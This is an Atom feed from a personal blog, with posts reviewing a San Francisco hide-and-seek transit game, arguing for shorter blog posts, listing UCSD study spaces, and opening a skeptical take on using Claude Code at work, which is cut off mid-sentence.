<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://sheeptester.github.io/longer-tweets/feed.xml" rel="self" type="application/atom+xml" /><link href="https://sheeptester.github.io/longer-tweets/" rel="alternate" type="text/html" /><updated>2026-05-17T23:39:46-07:00</updated><id>https://sheeptester.github.io/longer-tweets/feed.xml</id><title type="html">longer-tweets</title><subtitle>Yet another blog by SheepTester</subtitle><entry><title type="html">hide+seek review</title><link href="https://sheeptester.github.io/longer-tweets/hide-seek/" rel="alternate" type="text/html" title="hide+seek review" /><published>2026-05-16T00:00:00-07:00</published><updated>2026-05-16T00:00:00-07:00</updated><id>https://sheeptester.github.io/longer-tweets/hide-seek</id><content type="html" xml:base="https://sheeptester.github.io/longer-tweets/hide-seek/"><![CDATA[<p>We played hide and seek across the entirety of San Francisco!</p>

<p><a href="https://store.nebula.tv/products/jet-lag-the-game-hide-and-seek-transit-game"><em>Hide + Seek</em></a> is a game by <a href="https://www.youtube.com/playlist?list=PLB7ZcpBcwdC7gTO_IVdiBv8nVPLKbqNa4"><em>Jet Lag: The Game</em></a> (a series by <a href="https://www.youtube.com/wendoverproductions">Wendover Productions</a>) where an entire country is the board. It’s designed to scale from a borough of New York (considered “small,” est. 3–4 hours) to the entirety of Japan or the E.U. (considered “large,” est. 2–4 days). The hiders have the seekers’ location, and the seekers can ask from a limited question bank to narrow down their search space. The hiders draw cards for each question the seekers ask, which can grant them time bonuses, and they’re scored based on how long they stay hidden. Then, they swap roles and the highest score wins.</p>

<p>Of course, we aren’t content creators and have our cushy tech jobs to return to on Monday. And we’re in the US, and because the game is centered around public transit, the only enjoyable region near us is the City of San Francisco: the game bounds are the city limits, and the valid stations that hiding spots center on are any Muni, Bart, or Caltrain stop.</p>

<figure>
<img src="../images/hide-seek-review/sf-bounds.png" alt="Screenshot of Google Maps" height="500" />
<figcaption>
The city limits of San Francisco.
</figcaption>
</figure>

<h2 id="games">Games</h2>

<p>I’m only writing this after playing two proper games. We’ve played a few practice rounds, where we essentially skip to the end game and define the hiding area to some fraction of a mile radius:</p>

<ol>
  <li>
    <p>Mission district: The hiders were found in some thrift store.</p>
  </li>
  <li>
    <p>SF Caltrain stop: The hiders were found by China Basin Park because I recognized the unique windows of the building they were next to.</p>

    <p><img src="../images/hide-seek-review/unique-windows.jpg" alt="Photo of a white apartment tower with non-rectangular windows, as seen from its base." height="300" /></p>
  </li>
  <li>
    <p>SF Caltrain stop: The hiders were eventually found by an apartment building near SPARK Social, but the seekers went the wrong direction because the hiders considered Google Maps’ airplane icon on Treasure Island as an airport, while the seekers assumed the closest airport would be SFO.</p>
  </li>
</ol>

<p>And our full, “small” games:</p>

<ol>
  <li>
    <p>With good timing, the hiders reached a nondescript M-line stop near the southern end of SF. The seekers were misled by a photo of a highway and spent the day in Golden Gate Park before giving up.</p>
  </li>
  <li>
    <p>The hiders blundered by hiding in Chinatown at the end of the T line, the same line where they started. The seekers identified that they were on the same line and eventually found the hiders in an alleyway.</p>
  </li>
</ol>

<h2 id="issues">Issues</h2>

<p>Playing the game, I’ve noticed a few issues with how our particular playstyle interacted with the game’s rules. These aren’t necessarily issues with the game itself, just how we’ve chosen to play it.</p>

<h3 id="the-game-takes-a-while">The game takes a while</h3>

<p>The game is not for the faint of heart. It was designed to last days, to provide plenty of content for Wendover Productions, and I suspect it was retrofitted to a smaller scale for their viewers.</p>

<p>However, if we want to get more people to want to play, we can’t say that the game will take hours. People are busy and have to leave in the evening, and they get impatient.</p>

<h3 id="the-game-is-not-designed-to-be-skipped">The game is not designed to be skipped</h3>

<p>Our practice rounds, where we essentially skipped to the end game and searched in a quarter-mile radius, tipped the balance of the game. Two entire sets of questions were essentially unusable because the minimum distance you must travel to use them is a quarter mile.</p>

<h3 id="walking-is-tiring">Walking is tiring</h3>

<p>While we invited people to play the game with the proposition that it would be played by riding transit, our practice rounds involved no transit and was played entirely on foot. While this is fine (and allows us to explore the city), it does get frustrating and takes time when the seekers walk the wrong direction and have to turn back, and it takes time for them to get to the right spot to ask a particular question.</p>

<h3 id="its-difficult-to-agree-on-points-of-interest">It’s difficult to agree on points of interest</h3>

<p>In several instances, we had minor disagreements on what places counted as points of interest:</p>

<ol>
  <li>
    <p>The seekers asked about the closest airport, but the rules say places outside the game boundaries effectively do not exist. San Francisco International Airport is not in San Francisco, so there are no airports in our game area.</p>
  </li>
  <li>
    <p>Even then, the hiders saw a place with a plane icon on Treasure Island (<a href="https://maps.app.goo.gl/58pMxHFvWyr2bGYF9">Airport Authority Consulting</a>) and considered it an airport, but the rules say a commercial airport must be one whose flights are listed on Google Flights.</p>

    <p><img src="../images/hide-seek-review/treasure-island.png" alt="Screenshot of Google Maps with a red airplane icon labelled 'Airport Authority Consulting' on Treasure Island." height="250" /></p>
  </li>
  <li>
    <p>In Chinatown, the seekers marked places with drama mask icons as theaters, although the question specifically specify “movie theater.” Google Maps apparently has separate icons for performing arts theaters and movie theaters.</p>

    <div class="images">
<img src="../images/hide-seek-review/chinatown-theater.png" alt="Screenshot of Google Maps with a red drama mask icons in Chinatown." height="250" />
<img src="../images/hide-seek-review/amc-sd.png" alt="Screenshot of Google Maps with a red movie clip icons in San Diego." height="250" />
</div>
  </li>
</ol>

<p>While we tolerated these infractions to keep the game fun, it would be nice to have agreed on points of interest beforehand.</p>

<h3 id="hiding-is-a-bit-boring">Hiding is a bit boring</h3>

<p>In the end game, hiders are not supposed to move. However, the end game takes a while, during which the hiders just idle waiting for seekers to ask a question.</p>

<h3 id="seekers-dont-ask-enough-questions">Seekers don’t ask enough questions</h3>

<p>In our first full game, the seekers only asked a few questions before confidently embarking on a trek to nowhere. This led to the seekers forfeiting, and left the hiders bored.</p>

<p>The penalty of asking questions is pretty weak (hiders can only hold up to at most six cards), and while questions give limited information, they’re great for eliminating large swaths of the game area in a full game. We should encourage seekers to ask too much rather than too little.</p>

<h3 id="hiders-often-did-not-draw-cards">Hiders often did not draw cards</h3>

<p>It was easy to forget to draw cards after seekers ask a question, or even bring the card deck itself. The deck is also unwieldy to carry and use.</p>

<p>Because our players and teams vary from day to day and round to round, we didn’t really keep track of the score, so the time bonuses were relatively unimportant. However, the hiders were looking forward to using curses, which are also available in the deck, on the seekers.</p>

<h2 id="potential-solutions">Potential solutions</h2>

<p>We’re thinking of constructing a game map of San Francisco based on OpenStreetMap, preemptively flagging points of interest (POI) and valid train stations. This way, not only do we have a common basis for POI-related questions, but hiders also know and can plan out where they can hide.</p>

<h3 id="app">App</h3>

<p>The map could be an app or website, which could automatically eliminate regions based on responses to questions, or adjudicate when the difference in our distances to a POI is very close.</p>

<p>We could add more features to help enforce the rules of the game, like enforcing response time limits or incorporating the phone’s GPS. However, this potentially takes away some of the charm from the game.</p>

<p>The app would be particularly useful for letting the hiders have access to the cards without needing the physical deck.</p>

<h3 id="paper-map">Paper map</h3>

<p>We could print out a paper version of our map, either as a packet of quadrants, or a large sheet printed at UPS. I personally like this option because it feels whimsical, and it lets us use our phones less rather than staring at Google Maps all the time. We could even use a ruler and/or compass to measure distances and mark out quarter-mile radii.</p>

<p>However, dealing with paper while out and about is pretty unwieldy.</p>

<h3 id="splitting-the-game">Splitting the game</h3>

<p>The map aside, we’ve found in our practice rounds that people would rather play shorter games. Our practice rounds were essentially the second half of the game, the end game when seekers reach the hiders’ transit station, but the first half of the game is just as interesting.</p>

<p>We should find a way to make each half of the game playable on its own:</p>

<ol>
  <li>
    <p>Transit-only (the first half): The hiders can hide anywhere in SF, and the seekers only have to find the hiders’ transit stop. We haven’t tried this yet, so maybe we’ll try this on future days.</p>
  </li>
  <li>
    <p>Walking-only (the second half): The hiders hide in a quarter mile from the starting point. Because we’ve found the current question set to be inadequate for this, we’ll have to modify or design new questions to support this playstyle.</p>
  </li>
</ol>

<h2 id="final-thoughts">Final thoughts</h2>

<p>It’s pretty reassuring that there’s plenty of people who do want to ride transit for fun.</p>

<!--

outline:

- overview
  - game: https://store.nebula.tv/products/jet-lag-the-game-hide-and-seek-transit-game
  - videos: https://www.youtube.com/playlist?list=PLB7ZcpBcwdC7gTO_IVdiBv8nVPLKbqNa4
- our rules
  - why sf
  - sf bounds, train stations
- games
  - practice round in mission
  - hiding in south h mart
  - more practice rounds
  - hiding in chinatown
- issues
  - to get more players, we cant say that the game will take hours. people are busy and impatient
  - questions are not designed for end game. thermometer and radar questions' minimum distance is quarter mile
  - walking is tiring, especially when walking the wrong way
  - hiding is a bit boring waiting for seekers to ask a question
  - seekers don't ask enough questions
  - difficult to agree on/identify POI
    - we may end up metagaming by knowing which POI to use (aquariums for north-south, zoo for east-west) by playing SF repeatedly
  - we did not draw cards
  - different players on different days means score is less important
- ideas
  - openstreetmap
  - flag POI and train stations
  - app
    - can automatically compute remaining area
    - potentially ruins the charm
  - paper map (packet of quadrants)
    - easier to measure distances
    - whimsical, less phone use
    - unwieldy
  - split game into transit-only or endgame walking-only for shorter games
    - transit-only: just need to find the train station
    - walking-only: may need to overhaul question set
- other notes
  - seems many people do like taking transit

-->]]></content><author><name></name></author><category term="review" /><category term="irl" /><category term="gaming" /><summary type="html"><![CDATA[We played Hide + Seek in SF but found issues in our playstyle.]]></summary></entry><entry><title type="html">beauty in brevity</title><link href="https://sheeptester.github.io/longer-tweets/brevity/" rel="alternate" type="text/html" title="beauty in brevity" /><published>2026-05-13T00:00:00-07:00</published><updated>2026-05-13T00:00:00-07:00</updated><id>https://sheeptester.github.io/longer-tweets/brevity</id><content type="html" xml:base="https://sheeptester.github.io/longer-tweets/brevity/"><![CDATA[<p>Some part of my mind feels that blog posts have to be long. Most of the time, though, I don’t have enough content and ideas to fill up a full blog post, which is why I like Twitter—its low character limit encourages that ideas stay brief.</p>

<p>Still, 250-something characters and the lack of formatting gets unwieldy, and I find myself often spreading my thoughts across multiple tweets. That’s why I made this blog and named it “Longer Tweets,” for the ideas that are too big for a tweet but too small for a blog post.</p>

<p>Despite that, I ended up treating this site like a normal blog, and I’ve found myself writing long blog posts that I never end up finishing.</p>

<h2 id="new-goal-write-more-write-less">New goal: write more, write less</h2>

<p>Quantity over quality has always been the overarching theme of my website, and I think it could apply here too. If I write more short longer tweets, the more likely one of them will actually be good. If I write few, long longer tweets, I simply won’t publish many of them.</p>

<p>But also, I’ve found myself at best skimming through other people’s blog posts. I don’t really care about every thought the author has, but I also don’t want to just see an AI summary at the top. I believe I’d do a service to my readers (if they exist) by being concise.</p>

<p>Besides, with LLMs proliferating everywhere, I’m starting to mentally associate some long blog posts with LLMs. Nicely organized and formatted blogs, with separate sections and bolded bulleted lists, give strong LLM vibes. I tire of reading LLM slop every day, at work and online, and LLMs are very good at writing a lot with little substance, while brevity takes skill.</p>

<p>And to this effect, I’ll start by ditching conclusions.</p>

<!--

Outline:

- why longer tweets
  - thought blog posts have to be long
  - dont have enough content/ideas to fill a full blog post
  - which is why i like tweets
  - but character limit and lack of formatting is unwieldy
- new goal: make longer tweets shorter
  - quantity > quality is the theme of my website
  - i dont really read long blog posts
  - writing long is like ai
    - ai writes a lot with little substance
    - standard blog organization and formatting is very LLM-like
    - i tire of reading LLM slop
  - brevity takes skill
- example: drop conclusions

---

This blog is named "Longer Tweets" because each post is essentially a longer tweet. Tweets are nice because their character limit encourages brief posts, but sometimes I have thoughts that could do without the character limit.

However, in my mind, I just saw this as a blog. And blog posts are generally long, so mine must be long too.

-->]]></content><author><name></name></author><category term="thoughts" /><category term="meta" /><summary type="html"><![CDATA[I want to make my blog posts shorter.]]></summary></entry><entry><title type="html">list of UCSD study spaces</title><link href="https://sheeptester.github.io/longer-tweets/ucsd-study-spaces/" rel="alternate" type="text/html" title="list of UCSD study spaces" /><published>2026-04-02T00:00:00-07:00</published><updated>2026-04-02T00:00:00-07:00</updated><id>https://sheeptester.github.io/longer-tweets/ucsd-study-spaces</id><content type="html" xml:base="https://sheeptester.github.io/longer-tweets/ucsd-study-spaces/"><![CDATA[<p>TODO: add preview image</p>

<style>
.content img {
  aspect-ratio: 4 / 3;
  max-height: 350px;
  margin: 0;
}
.content .portrait {
  aspect-ratio: 3 / 4;
}
.content .images {
  justify-content: flex-start;
}
</style>

<p>(WIP)</p>

<p>In the beginning of my freshman year at UC San Diego, I had plenty of time to acclimate to the campus,
so I decided to explore every nook and cranny,
walking through every college at least once.
This turned out to be very helpful:
with knowledge of every part of campus,
I can quickly find a place to study or chill from any place on campus.
I recommend every new student to explore campus before classes get busy.</p>

<p>Since I graduated, I have no need to gatekeep these study spaces,
and I want to list them here publicly before I forget.
Here’s my hopefully exhaustive dump of study spaces,
organized by college/neighborhood.
This isn’t a list of <em>good</em> study spaces—that’s on you to try for yourself—but
these are all places I’ve studied in before.</p>

<p>Also, here’s a list of intentionally 24/7 study spaces for students:</p>

<ul>
  <li><a href="#jk-wood-lounge--cv">JK Wood lounge</a></li>
  <li><a href="#cse-basement">CSE basement</a></li>
</ul>

<h2 id="colleges-and-neighborhoods">Colleges and neighborhoods</h2>

<ul>
  <li><a href="#university-center">University Center</a></li>
  <li><a href="#revelle">Revelle</a></li>
  <li><a href="#muir">Muir</a></li>
  <li><a href="#marshall">Marshall</a></li>
  <li><a href="#warren">Warren</a></li>
  <li><a href="#erc">ERC</a></li>
  <li><a href="#sixth">Sixth</a></li>
  <li><a href="#seventh">Seventh</a></li>
  <li><a href="#eighth">Eighth</a></li>
  <li><a href="#pepper-canyon">Pepper Canyon</a></li>
  <li><a href="#medical-campus">Med campus</a></li>
  <li><a href="#sio">SIO</a></li>
</ul>

<h2 id="notes-for-all-study-spaces">Notes for all study spaces</h2>

<p>UCSD (and most places in general) won’t let you sleep anywhere outside of a suite or apartment.
In other words, if you’re caught sleeping,
you’ll probably be woken up.
So don’t get caught.</p>

<p>If you’re staying at odd hours (i.e. late in the night),
you should be prepared to prove that you’re a UCSD affiliate,
i.e. with a student ID card.</p>

<h3 id="academic-buildings">Academic buildings</h3>

<p>Academic buildings (classrooms, professor office buildings) usually aren’t 24-hour,
and you’ll be kicked out if caught by a custodian,
which definitely go through the building at night.
Plus, students who do stay overnight sometimes leave trash,
and the morning custodians will blame the night custodians for not cleaning properly.</p>

<h3 id="res-halls">Res halls</h3>

<p>One could argue that res halls are 24-hour.</p>

<p>If you’re a non resident,
you have to trespass by tailing someone entering the building.
I don’t think RAs care if they don’t recognize you,
but only residents should be in the building.</p>

<h3 id="dining-halls">Dining halls</h3>

<p>I personally like studying in dining halls because there’s a lot of ambient background noise.
Plus, when I had dining dollars, I wouldn’t have to move when I got hungry.</p>

<p>Also, if you keep a dining hall cup,
you can use it for unlimited soda.
This was better back when HDH partnered with Coca Cola
and had those fancy touchscreen build-your-own soda dispensers;
the Pepsi ones have fewer options.</p>

<h2 id="eighth">Eighth</h2>

<h3 id="res-hall-study-rooms">Res hall study rooms</h3>

<p><img src="../images/ucsd-study-spaces/eighth-res-study.jpg" alt="TODO" loading="lazy" /></p>

<p>You have to go to the ground floor for water and bathrooms.</p>

<p><strong>Caveat</strong>: Eighth stairs will lock you out.
The elevators had keycard scanners but they weren’t enforced when I was a student.
Maybe that has changed.</p>

<p>In Eighth College, every floor of the res halls has at least one study room at one end of the hallway.</p>

<h3 id="podemos-classrooms">Podemos classrooms</h3>

<p><img src="../images/ucsd-study-spaces/podem.jpg" alt="TODO" loading="lazy" /></p>

<p>There’s water and bathrooms in the interior hallway between classrooms.</p>

<p>The Eighth lecture halls are pretty nice and new.
They have cushioned, wheeled chairs that are fun to zoom around in.
The room is big and spacious when they’re empty.</p>

<p>I did an Amazon interview in one of these classrooms
but forgot how to implement a heap.
I didn’t pass.</p>

<h2 id="revelle">Revelle</h2>

<h3 id="galbraith">Galbraith</h3>

<div class="images">
<img src="../images/ucsd-study-spaces/galbraith-loud.jpg" alt="TODO" loading="lazy" />
<img src="../images/ucsd-study-spaces/galbraith-quiet.jpg" alt="TODO" loading="lazy" />
</div>

<p>The building has running water.</p>

<p>Galbraith has two study rooms; one’s allegedly more quiet than the other.
I personally don’t like studying in quiet or dimly lit spaces,
and these rooms are both.
But maybe that’s perfect for you.</p>

<p>I’ve heard that one of the rooms is 24-hour, but I’ve heard mixed information about this.
It feels like sometimes on weekends or odd hours, it’s open, and other times, it’s closed.</p>

<h3 id="revelle-commuter-lounge">Revelle commuter lounge</h3>

<p><img src="../images/ucsd-study-spaces/revelle-cum-outside.jpg" alt="TODO" loading="lazy" /></p>

<p><em>I don’t have a good photo of the interior, so here’s a photo outside.</em></p>

<p>The closest bathroom is probably next to Roger’s. You can get water at 64°.</p>

<p>Revelle commuter lounge my beloved.
It’s a decent, quiet place to study in or chill at in Revelle,
and it has outlets.</p>

<h3 id="64">64°</h3>

<p>It’s pretty loud, and there’s no outlets.</p>

<h2 id="muir">Muir</h2>

<h3 id="moms">MOM’s</h3>

<p><img src="../images/ucsd-study-spaces/moms.jpg" alt="TODO" loading="lazy" /></p>

<p>MOM’s always feels really busy, so it’s hard to find a table,
so I usually don’t study here.</p>

<h3 id="pines-and-roots">Pines and Roots</h3>

<div class="images">
<img src="../images/ucsd-study-spaces/pines.jpg" alt="TODO" loading="lazy" />
<img src="../images/ucsd-study-spaces/roots.jpg" alt="TODO" loading="lazy" />
</div>

<p>The dining halls are pretty calm outside of normal meal hours,
so they’re a decent place to study.</p>

<p>I think it’s difficult to access an outlet in Roots,
while Pines has a table with outlets on it.
There’s bathrooms and water downstairs.</p>

<p>But this information is likely outdated since the dining halls are being renovated at the time of writing.</p>

<h3 id="glacier-point">Glacier point</h3>

<p>It’s a small, quiet, but reliable study room (when not full).
There’s a big, long power strip on the floor, so outlets are easy to access.</p>

<h3 id="tenayatioga-common-areas">Tenaya/Tioga common areas</h3>

<p><img src="../images/ucsd-study-spaces/tioga.jpg" alt="TODO" loading="lazy" /></p>

<h3 id="mcgill-break-room">McGill break room</h3>

<p><img src="../images/ucsd-study-spaces/mcgill.jpg" alt="TODO" loading="lazy" /></p>

<p>In the evenings, the elevator is still unlocked but there’s virtually no one in the building,
so this table I found in some staff break room makes for a nice study space.
I think there’s a wall outlet next to it.</p>

<h3 id="treehousetreetop-lounge">Treehouse/Treetop lounge</h3>

<p>TODO: photo</p>

<p>Every computer has outlets in the desk.
The closest bathroom is downstairs by Taco Villa or inside Blue Pepper,
and the closest water is probably in Blue Pepper.
Some of the sofa chairs are wheeled, and it’s fun to zoom around in them.
At midnight, the lights automatically turn off.</p>

<h2 id="sixth">Sixth</h2>

<h3 id="sixth-computer-lab">Sixth computer lab</h3>

<p><img src="../images/ucsd-study-spaces/sixth-comp-lab.jpg" alt="TODO" loading="lazy" /></p>

<p>This computer lab has Macs with the Adobe suite installed.
Every computer has outlets in the desk.</p>

<p>The closest bathroom (and water) is in the hallway,
but the door back to the computer lab locks,
so you have to walk the long way around outside.
That’s why people prop the door open with a trash bin.</p>

<p>The custodians seem pretty diligent and punctual,
and immediately kick people out when the computer lab and commuter lounge close at 9 pm.</p>

<h3 id="sixth-commuter-lounge">Sixth commuter lounge</h3>

<p><img src="../images/ucsd-study-spaces/sixth-cum-lounge.jpg" alt="TODO" loading="lazy" /></p>

<p>Since it’s a commuter lounge, there’s a sink and fridge.</p>

<p>The only outlets are along the walls.</p>

<h3 id="rwac-classrooms">RWAC classrooms</h3>

<div class="images">
<img src="../images/ucsd-study-spaces/rwac-7.jpg" alt="TODO" loading="lazy" />
<img src="../images/ucsd-study-spaces/rwac-toilet.jpg" alt="TODO" loading="lazy" />
</div>

<p>RWAC classrooms are nice and new; they have swivel chairs and outlets in the desk I think,
as well as in the floor.
Unfortuantely, since my first year,
most of the classrooms are locked by default,
except for the classrooms on the ground floor for some reason.</p>

<p>The classroom near Fan-Fan is nice to stop by in the evening.</p>

<p>Because winter 2022 was partially remote due to Covid,
my friends would camp out in RWAC 0426.
The classroom suddenly getting locked
is the reason why I made <a href="https://sheeptester.github.io/ucsd-classrooms/">my classroom schedule website</a>.</p>

<p>RWAC floor 7 has a great view of both the ocean and campus,
but partly because students kept leaving a mess,
they’ve since locked the room up for special events only.</p>

<h3 id="rwac-terrace">RWAC terrace</h3>

<p><img src="../images/ucsd-study-spaces/rwac-terrace.jpg" alt="TODO" loading="lazy" class="portrait" /></p>

<p>There’s a nice terrace on the fifth floor of RWAC with an ocean view.
It’s pretty well known among students.</p>

<p>You used to be able to access the terrace
(and the other elevator lobbies in the building)
24/7
because the elevators didn’t lock.
On weekends and at night,
you could take the elevators up from the parking garage.
I hear that this has now been fixed.</p>

<p>Since it’s outdoor,
it’s bright and windy,
so it’s not a great place for neither paper nor online homework.</p>

<h3 id="eds-lounge">EDS lounge</h3>

<p><img src="../images/ucsd-study-spaces/rwac-eds.jpg" alt="TODO" loading="lazy" /></p>

<p>There’s a study area in the north end of RWAC floor 4.
It’s in an open area next to offices, so it’s not as private as a classroom.</p>

<h3 id="wolftown">Wolftown</h3>

<p><img src="../images/ucsd-study-spaces/wolftown.jpg" alt="TODO" loading="lazy" /></p>

<p>Wolftown has a quiet side room with plenty of wall and floor outlets.
At least for the big wooden tall table,
you’ll need a long-ish cable to reach the floor outlet.
Since it’s a dining hall,
you can get unlimited soda if you keep an HDH cup.</p>

<h3 id="catalyst-lecture-hall-lounge">Catalyst lecture hall lounge</h3>

<div class="images">
<img src="../images/ucsd-study-spaces/ctl-lobby.jpg" alt="TODO" loading="lazy" />
<img src="../images/ucsd-study-spaces/ctl-poop.jpg" alt="TODO" loading="lazy" class="portrait" />
</div>

<p>At some point they finally furnished the lounge for CTL 125
with a few tables.
I think I studied there once.</p>

<p>There’s a bathroom with a brown trail coming out of it on the floor for some reason.</p>

<h3 id="mosaic-common-areas">Mosaic common areas</h3>

<p><img src="../images/ucsd-study-spaces/mosaic.jpg" alt="TODO" loading="lazy" class="portrait" /></p>

<p>If you stand and wait in the right Mosaic elevator
(or wait for someone to scan their ID),
the elevator will get sent up to the apartment floors of Mosaic.
The common areas of these floors have a bit of ocean view,
and except for people leaving/entering their dorms,
it’s pretty isolated.
The room gets pretty hot when the sun is shining in during the afternoon, though,
and you’d have to go back down for a bathroom.</p>

<h3 id="the-jeannie">The Jeannie</h3>

<p><img src="../images/ucsd-study-spaces/jeannie.jpg" alt="TODO" loading="lazy" /></p>

<p>The Jeannie is the biggest lecture hall on campus,
and it has cushioned seats, outlets between each seat, and large desks (for a lecture hall).</p>

<p>Sometimes, I stick around after lecture.
When the next lecture starts,
the random lecture serves as good background noise.
And if there’s no more lectures for the day,
the lecture hall continues to be unlocked for the rest of the day,
and the soundproofing in the room makes it a nice, quiet place to study.
Plus, the room can be used to watch movies.</p>

<h2 id="marshall">Marshall</h2>

<h3 id="angelas-space">Angela’s space</h3>

<p><img src="../images/ucsd-study-spaces/angelas-space.jpg" alt="TODO" loading="lazy" /></p>

<p>I don’t really like this study space because the tables are too tall for their seats,
which makes using a laptop on the table uncomfortable.
It’s also kind of dim.</p>

<h3 id="that-new-malk-study-lounge">That new Malk study lounge</h3>

<p><img src="../images/ucsd-study-spaces/malk.jpg" alt="TODO" loading="lazy" class="portrait" /></p>

<p>When I visited UCSD after graduating,
they had opened Malk Hall in new Marshall,
where the Marshall Lowers used to be.</p>

<p>I found this study lounge (intended for GPS students IIRC).
It only has a few tables,
and there’s a random hallway with a cushioned seat next to an outlet.
Presumably one could nap there.</p>

<h2 id="erc">ERC</h2>

<h3 id="gps">GPS</h3>

<p><img src="../images/ucsd-study-spaces/gps.jpg" alt="TODO" loading="lazy" /></p>

<p>The common area for the GPS classrooms is a pretty nice study space.
There are outlets in the tables.</p>

<h3 id="erc-computer-lab">ERC computer lab</h3>

<p><img src="../images/ucsd-study-spaces/erc-comp-lab.jpg" alt="TODO" loading="lazy" /></p>

<p>You could study here,
but I don’t like that there’s not really much natural sunlight.
The lights in this room are really yellow.</p>

<h3 id="erc-commuter-lounge">ERC commuter lounge</h3>

<p><img src="../images/ucsd-study-spaces/erc-cum-lounge.jpg" alt="TODO" loading="lazy" class="portrait" /></p>

<p><em>This is the only photo I have of the lounge, which is behind the flyer.</em></p>

<p>ERC’s commuter lounge is pretty small I think.</p>

<h3 id="cafe-v">Cafe V</h3>

<div class="images">
<img src="../images/ucsd-study-spaces/cafe-v-old.jpg" alt="TODO" loading="lazy" />
<img src="../images/ucsd-study-spaces/cafe-v-new.jpg" alt="TODO" loading="lazy" />
</div>

<p>Before the renovation,
I used to study here sometimes.
But the tables had sticky edges and there were no outlets.</p>

<p>The new Cafe V has some tall tables with outlets in it,
which is nice.</p>

<h2 id="seventh">Seventh</h2>

<h3 id="north-break">North Break</h3>

<p><img src="../images/ucsd-study-spaces/north-break.jpg" alt="TODO" loading="lazy" /></p>

<h3 id="seventh-east-tower-terrace">Seventh East Tower terrace</h3>

<p><img src="../images/ucsd-study-spaces/7th-east-terrace.jpg" alt="TODO" loading="lazy" /></p>

<h3 id="rimac-annex">RIMAC annex</h3>

<p><img src="../images/ucsd-study-spaces/rimac-annex.jpg" alt="TODO" loading="lazy" /></p>

<h2 id="warren">Warren</h2>

<h3 id="jk-wood-lounge--cv">JK Wood lounge / CV</h3>

<h3 id="courtroom">Courtroom</h3>

<h3 id="cse-basement">CSE basement</h3>

<h3 id="cse-masters-commons">CSE master’s commons</h3>

<h3 id="cse-floor-1-cafe-area">CSE floor 1 cafe area</h3>

<h3 id="that-one-computer-room-in-the-computer-science-building">That one computer room in the computer science building</h3>

<h3 id="wlh-computer-lab">WLH computer lab</h3>

<h3 id="wlh-lab-rooms">WLH lab rooms</h3>

<h3 id="ece-tutoring-center">ECE tutoring center</h3>

<h3 id="warren-commuter-lounge">Warren commuter lounge</h3>

<h2 id="pepper-canyon">Pepper Canyon</h2>

<h3 id="envision">Envision</h3>

<h3 id="the-lodge">The Lodge</h3>

<h3 id="dib-floors-3-and-4">DIB floors 3 and 4</h3>

<h3 id="pepper-canyon-west-study-rooms">Pepper Canyon West study rooms</h3>

<h2 id="university-center">University Center</h2>

<h3 id="geisel">Geisel</h3>

<h3 id="price-center">Price Center</h3>

<h2 id="medical-campus">Medical campus</h2>

<h3 id="biomed--wongavery">Biomed / WongAvery</h3>

<h2 id="sio">SIO</h2>

<h3 id="eckart-building">Eckart building</h3>

<h3 id="sumner-auditorium">Sumner auditorium</h3>

<hr />

<p>All my photos are licensed under
<a href="https://creativecommons.org/licenses/by/4.0/">CC BY 4.0</a>
because I don’t care what you do with them,
but people should know where they came from.</p>]]></content><author><name></name></author><category term="school" /><category term="ucsd" /><summary type="html"><![CDATA[Geisel sucks, and there's so many other places to study on campus. I graduated so I no longer need to gatekeep these.]]></summary></entry><entry><title type="html">ten steps behind Claude</title><link href="https://sheeptester.github.io/longer-tweets/claude/" rel="alternate" type="text/html" title="ten steps behind Claude" /><published>2026-02-28T00:00:00-08:00</published><updated>2026-02-28T00:00:00-08:00</updated><id>https://sheeptester.github.io/longer-tweets/claude</id><content type="html" xml:base="https://sheeptester.github.io/longer-tweets/claude/"><![CDATA[<p>My employer offers effectively unlimited<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup> use of Claude Code for work,
and we’ve been encouraged to explore and increase our use of it.
However, I’m somewhat hesitant to adopt Claude into my work.</p>

<h2 id="claude-withdrawal-symptoms">Claude withdrawal symptoms</h2>

<p>Even though Claude Code may be free within my company, I won’t have access to it outside of work.
Probably unsurprisingly, I’m currently spending more time programming at work than on my personal projects,
which means that my programming habits are now grown and nurtured in the comfort of my workplace.</p>

<p>If I get used to relying on Claude Code for menial tasks like asking questions, generating boilerplate, or debugging,
then I worry I’ll find myself longing for Claude when working on personal projects, where I won’t have the same luxury,
and this could discourage me from working on my own projects—perhaps to my employer’s benefit.
Ultimately, I don’t want to develop a dependence on Claude.</p>

<!-- I'm not willing to pay anything for my personal projects. -->

<h2 id="ooh-shiny">Ooh, shiny</h2>

<p>At my company, we’re also encouraged to familiarize ourselves with and adapt Claude and AI tools in general into our workflow
to stay ahead of those who can’t use AI effectively.
Maybe I’m naive—this recommendation comes from people with far more years of industry experience than I do—but I remain skeptical.</p>

<!-- I'm not sure if it makes sense to dedicate effort learning how to use Claude effectively. -->

<p>Right now, there is still plenty of hype for AI, so technologies continue to change quickly.
Who’s to say that Claude Code will remain the industry leader a year from now?
Effort spent customizing tooling (e.g. creating skills, “writing” CLAUDE.md) and optimizing prompts and workflows might go to waste once everyone switches to the new shiny AI agent on the market.</p>

<p>I feel like learning to use Claude isn’t really a skill that requires dedicated effort to master either.
Claude itself had a fairly painless installation and setup process, and it comes with a flashy terminal UI.
Just by typing in a short prompt, Claude can immediately get to work with minimal configuration,
and its results are adequate.
The companies behind these AI agents are incentivized to keep the barrier to entry low,
to make their tools easy to learn and use,
and I don’t see that going away any time soon.
LLMs are made for human use, so we don’t need to change ourselves or our systems to serve LLMs.</p>

<!-- they say to learn AI to stay ahead of others -->

<h2 id="insert-anti-ai-argument-here">Insert anti-AI argument here</h2>

<p>In general, I’m still not completely sold that AI can improve our productivity that much.</p>

<p>Like sure, an LLM can blast away the most menial, tedious parts of coding,
like writing test cases and boilerplate for a React component or API route.
But you know that saying that 80% of the work is done in 20% of the time?
The LLM is great at knocking out that 80% of the work—the parts that you already could do easily without much thought or effort—but that only leads to 20% time savings.
The hard parts—defining requirements, coordination with other teams, code review<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup>, infrastructure, meetings—each take up equal slices of the remaining pie.</p>

<p>Plus, while AI agents can now reliably generate code that works, I still doubt its quality.
Without significant handholding (such as handwriting examples for Claude to work off of),
it feels like LLMs tend to generate much more code than humans do for the same task—after all, writing code is so much faster for an LLM than a human.
